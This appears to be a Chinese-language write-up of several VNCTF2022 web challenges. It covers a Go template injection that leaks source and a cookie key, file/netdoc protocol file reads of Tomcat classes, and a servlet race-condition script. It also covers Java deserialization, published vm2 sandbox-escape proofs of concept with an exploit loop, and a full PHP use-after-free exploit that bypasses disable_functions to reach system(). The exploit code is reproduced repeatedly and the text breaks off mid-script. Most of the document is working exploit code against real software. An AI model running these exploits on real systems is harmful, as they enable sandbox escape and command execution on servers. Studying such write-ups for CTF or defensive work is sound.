前端小游戏题,直接想到查看js源代码
在data.js文件中搜索到了关键词flag,且后面附着着一个base64编码的字符串,解码试试
得到flag,再将其url解码一下就行
VNCTF{Welcome_to_VNCTF2022}
go语言的ssti,传入{{.}}
指向当前的类,类似于this,然后输出源代码
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)
//go:embed template/index.html
var tpl string
//go:embed main.go
var source string
type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}
func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
return "", err
}
t := reflect.ValueOf(result).Type().Kind()
if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}
}
func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}
func render(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}
}
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
render(c)
})
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "
"
}
session.Set("history", his)
session.Save()
render(c)
})
r.Run(fmt.Sprintf(":%s", port))
}
] = invalid
package main
import (
_ "embed"
"fmt"
"os"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8088"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}
go语言还不是很看得懂,但是大概能够才出来,将解析flag的关键代码带出来放在本地,然后将在题目环境里面的得到的flag让在本地进行解析,也就是
打开提示file?
这里又说了输入一个url
后面发现是使用file协议
然后就是查看java字节码文件的目录
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF
以下为读文件的payload
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entity
User.class
servlet
FileServlet.class
HelloWorldServlet.class
util
Secr3t.class
SerAndDe.class
UrlUtil.class
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class
使用jadx反编译
HelloWorldServlet.class
package servlet;
import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;
@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {
private volatile String age = "666";
private volatile String height = "180";
private volatile String name = "m4n_q1u_666";
User user;
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
/* access modifiers changed from: protected */
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
Response(resp, "no vnctf2022!");
} else if (Secr3t.check(this.name)) {
Response(resp, "The Key is " + Secr3t.getKey());
}
}
/* access modifiers changed from: protected */
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (!Secr3t.getKey().equals(key) || text == null) {
Response(resp, "KeyError");
return;
}
if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {
Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
也可以用IDEA反编译
主要看hello那里
可以看到要拿到flag,必须要满足这两个if条件,一个是要传入密钥key,一个是反序列化一个一样的user对象
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
所以后面就要就要完成两步,一是拿到密钥key,而是反序列化
首先我们跟进一下Secr3t类看一看
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package util;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;
public class Secr3t {
private static final String Key = RandomStringUtils.randomAlphanumeric(32);
private static StringBuffer Flag;
private Secr3t() {
}
public static String getKey() {
return Key;
}
public static StringBuffer getFlag() {
Flag = new StringBuffer();
InputStream in = null;
try {
in = Runtime.getRuntime().exec("/readflag").getInputStream();
} catch (IOException var12) {
var12.printStackTrace();
}
BufferedReader read = new BufferedReader(new InputStreamReader(in));
try {
String line = null;
while((line = read.readLine()) != null) {
Flag.append(line + "\n");
}
} catch (IOException var13) {
var13.printStackTrace();
} finally {
try {
in.close();
read.close();
} catch (IOException var11) {
var11.printStackTrace();
System.out.println("Secr3t : io exception!");
}
}
return Flag;
}
public static boolean check(String checkStr) {
return "vnctf2022".equals(checkStr);
}
}
然后看到doGet那里可以获取key
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
}
跟进Secr3t.check
就是一个比较传入的参数为不为vnctf2022
然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name
先不为vnctf2022
,然后再下一个if下又为vnctf2022
,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象,我们再看一下这个deGet函数
它判断的是实例化对象的属性,也就是说只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022
,然后当进入第二个线程的时候,在操作它变成vnctf2022
,那不就进入了第二个if条件内吗,所以就措一个多线程脚本
import time
import requests
from threading import Thread
url = 'http://d7546473-9645-4fac-af9d-d0eebea2d5cc.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=pysnow"
ses = requests.session()
def get(session, payload):
while True:
res = session.get(url=url+payload)
print(url+payload)
print(res.text)
if "key" in res.text:
print(res.text)
time.sleep(0.1)
if __name__ == '__main__':
for i in range(2):
Thread(target=get, args=(ses, payload1,)).start()
for j in range(2):
Thread(target=get, args=(ses, payload2,)).start()
这里注意一个点,就是不要跑得太快了,BUU上的环境你跑考了它就会给你报429,后面就相当于没有传进去参数,我这里是只开了四个线程,两个判断正确的线程,两个判断错误的线程,再加上一个时间延时
最后拿到key
fpXvAgpKpgl8v0eRYpUBPkleBqqhRBRY
然后继续看到doPost这里
这里就是将传入的text参数进行base64解码并转化为字节溜形式,然后传入SerAndDe.deserialize()方法进行处理,看这个名字猜测这个SerAndDe.deserialize的作用就是反序列化,这里可以不用去审这个方法,可以先试着直接反序列化,等不成功的时候再去审代码,或者说直接使用SerAndDe.serialize()方法
然后就是写payload了,将User和SerAndDe的源码分别提取出来,然后再另外写一个类去导入它们,就行了
import entity.User;
import java.util.Base64;
import util.SerAndDe;
public class testSerializable
{
public static void main(String[] args){
User user = new User("m4n_q1u_666","666","180");
Base64.Encoder encoder = Base64.getEncoder();
byte[] textByte = SerAndDe.serialize(user);
String text = encoder.encodeToString(textByte);
System.out.println(text);
}
}
然后执行
发现并打不通,看了一下wp发现,这个height属性加了transient
修饰,不能直接反序列化
可以用题目给的代码看一下反序列化出的结果
String text1="rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAgACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2Ng==";
Base64.Decoder decoder = Base64.getDecoder();
byte[] textByte1 = decoder.decode(text1);
User u = (User)SerAndDe.deserialize(textByte1);
System.out.println(u);
发现反序列化的结果为null
所以我们就要考虑怎么绕过这个transient
修饰
这里可以直接参照https://blog.csdn.net/u010156024/article/details/48345257,重写一下writeObject方法
private void writeObject(ObjectOutputStream s) throws IOException{
s.defaultWriteObject();
s.writeObject(this.height);
}
一道nodejs的题,给出了源码
const express = require("express");
const path = require("path");
const vm2 = require("vm2");
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.use(express.static("static"));
const vm = new vm2.NodeVM();
app.use("/eval", (req, res) => {
const e = req.body.e;
if (!e) {
res.send("wrong?");
return;
}
try {
res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
app.use("/flag", (req, res) => {
if(Object.keys(Object.prototype).length > 0) {
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
res.send(process.env.FLAG);
} else {
res.send(Object.keys(Object.prototype));
}
})
app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));
console.log(p);
res.sendFile(p);
});
app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});
app.listen(process.env.PORT || 8888);
简单的审一下源码,可以发现这里有三个路由
eval: 用于执行代码,但是是在vm2虚拟机中执行的,所以就要考虑怎么绕过这个虚拟机
flag: 用于输出flag,但是要满足条件,这里马上反应到原型链污染
source: 用于查看源码,而且这里也可以通过传入path参数,来查看文件
这里给出了提示package.json
,应该就是叫我们查看package.json文件,那么我们首先访问一下
/source?path=/package.json
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"scripts": {
"start:single": "node src/index.js",
"start": "pm2 start src/index.js -i 1",
"log": "pm2 logs -f"
},
"dependencies": {
"express": "^4.17.1",
"pm2": "^4.5.6",
"vm2": "^3.9.5"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"prettier": "^2.0.5"
}
}
这里主要看一下依赖那一栏,vm2使用的版本,然后找一下有没有相关的去绕过vm2^3.9.5的漏洞
https://security.snyk.io/vuln/SNYK-JS-VM2-2309905
PoC 1
// tested on Node.js 16.10.0 const {VM} = require('vm2'); vmInstance = new VM(); console.log(vmInstance.run(` function foo(ref) { new Error().stack; } let obj = {}; Object.defineProperty(Object.prototype, 0, { set: function () { foo(this); try { obj[0] = 0; } catch (e) { e.__proto__.__proto__.__proto__.polluted = 'success'; } } }) `)); console.log(polluted);
PoC 2
// tested with Node.js 17.1.0 and latest vm2 version // generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator const {VM} = require('vm2'); vmInstance = new VM(); vmInstance.run(` function getRootPrototype(obj) { while (obj.__proto__) { obj = obj.__proto__; } return obj; } function stack(ref, cb) { let stack = new Error().stack; stack.match(/checkReferenceRecursive/g); } try { global.temp0 = RegExp.prototype.__defineGetter__('global', () => { getRootPrototype(this); stack(this); return true; }), function functionInvocationAnalysis(r) { stack(r); }(temp0), global.temp0; RegExp.prototype.exec = function (str) { stack(arguments); }; } catch (e) { // payload getRootPrototype(e).polluted = "success"; } `);
由上图可知,要满足Object.keys(Object.prototype).length > 0
,就可以改变Object.prototype
的值,根据js原生链调用的关系,就可以直接写出payload如下
getRootPrototype(e).prototype=[1,2,3];
然后使用
module.exports=Object.keys(Object.prototype);
查看注入是否成功
最后写出exp如下
import requests
url = 'http://179ed22a-d122-499f-87b6-a0dbda4d03ee.node4.buuoj.cn:81/eval'
data = {
"e": '''1;function getRootPrototype(obj) {
while (obj.__proto__) {
obj = obj.__proto__;
}
return obj;
}
function stack(ref, cb) {
let stack = new Error().stack;
stack.match(/checkReferenceRecursive/g);
}
try {
global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
getRootPrototype(this);
stack(this);
return true;
}), function functionInvocationAnalysis(r) {
stack(r);
}(temp0), global.temp0;
RegExp.prototype.exec = function (str) {
stack(arguments);
};
} catch (e) {
getRootPrototype(e).as=[1,2,3];
module.exports=Object.keys(Object.prototype);
}
'''}
while True:
res = requests.post(url=url, data=data)
print(res.text)
https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/
CVE直接打
发现可以影响非常小,但是这道题足够了
console.table([{a:1}],['__proto__'])
打开就是一个RCE点
过滤了phpinfo,猜测应该是在设置里禁用了很多函数的那种题
array(3) {
["global_value"]=>
string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var"
["local_value"]=>
string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var"
["access"]=>
int(4)
include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var
open_basedir
/var/www/html
使用scandir扫描目录,发现了一个secret.rdb,这个是redis的数据文件
然后下面就可以分为几种解法了
https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php
pwn('uname -a');
function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $camd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fwrite($fd, 'x');
}
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;
public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}
private function go() {
$this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper;
$this->helper->b = function($x) {};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);
$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup();
($this->helper->b)(CMD);
}
private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fwrite($this->uafp, "\x00");
}
}
private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}
private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}
private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fwrite($this->hfp, "\x00");
}
}
private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
?>
使用这个脚本绕过disbale_function,先用脚本检查一下是否有被禁用的函数没有
filter = 'include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,' \
'fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,' \
'phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,' \
'pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,' \
'pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,' \
'pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' \
'iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,' \
'error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var'.split(
',')
payload = '''
filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}
private function go() {
$this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper;
$this->helper->b = function($x) {};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);
$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup();
($this->helper->b)(CMD);
}
private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fwrite($this->uafp, "\x00");
}
}
private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}
private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}
private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fwrite($this->hfp, "\x00");
}
}
private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
?>
'''
for i in filter:
# print(i)
if i in payload:
print(i)
continue
fwrite
可以用fputs
代替
最后payload
pwn('whoami');
function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $camd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fputs($fd, 'x');
}
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;
public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}
private function go() {
$this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper;
$this->helper->b = function($x) {};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);
